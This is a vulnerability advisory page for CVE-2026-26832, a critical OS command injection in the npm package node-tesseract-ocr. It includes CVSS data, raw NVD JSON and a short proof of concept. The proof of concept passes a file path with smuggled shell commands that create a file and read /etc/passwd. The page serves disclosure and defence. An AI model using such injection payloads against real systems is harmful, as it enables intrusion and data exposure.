Security Vulnerability Report
中文
CVE-2026-26832 CVSS 9.8 CRITICAL

CVE-2026-26832

Published: 2026-03-25 16:16:21
Last Modified: 2026-03-26 15:13:16

Description

node-tesseract-ocr is an npm package that provides a Node.js wrapper for Tesseract OCR. In all versions through 2.2.1, the recognize() function in src/index.js is vulnerable to OS Command Injection. The file path parameter is concatenated into a shell command string and passed to child_process.exec() without proper sanitization

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

node-tesseract-ocr <= 2.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const ocr = require('node-tesseract-ocr'); // Malicious payload demonstrating OS Command Injection // The semicolon (;) is used to separate the tesseract command from the injected command const maliciousImagePath = "/tmp/image.png; touch /tmp/pwned; cat /etc/passwd"; (async () => { try { // The vulnerable recognize() function concatenates the input into a shell command // This results in execution: 'tesseract /tmp/image.png; touch /tmp/pwned; cat /etc/passwd stdout' const text = await ocr.recognize(maliciousImagePath, { lang: 'eng', oem: 1, psm: 3 }); console.log(text); } catch (error) { console.error(error); } })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26832", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:21.240", "lastModified": "2026-03-26T15:13:15.790", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "node-tesseract-ocr is an npm package that provides a Node.js wrapper for Tesseract OCR. In all versions through 2.2.1, the recognize() function in src/index.js is vulnerable to OS Command Injection. The file path parameter is concatenated into a shell command string and passed to child_process.exec() without proper sanitization"}, {"lang": "es", "value": "node-tesseract-ocr es un paquete npm que proporciona un *wrapper* de Node.js para Tesseract OCR. En todas las versiones hasta la 2.2.1, la función recognize() en src/index.js es vulnerable a la inyección de comandos del sistema operativo. El parámetro de ruta de archivo se concatena en una cadena de comando de *shell* y se pasa a child_process.exec() sin una sanitización adecuada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/zapolnoch/node-tesseract-ocr", "source": "[email protected]"}, {"url": "https://github.com/zapolnoch/node-tesseract-ocr/blob/master/src/index.js", "source": "[email protected]"}, {"url": "https://github.com/zebbernCVE/CVE-2026-26832", "source": "[email protected]"}, {"url": "https://www.npmjs.com/package/node-tesseract-ocr", "source": "[email protected]"}]}}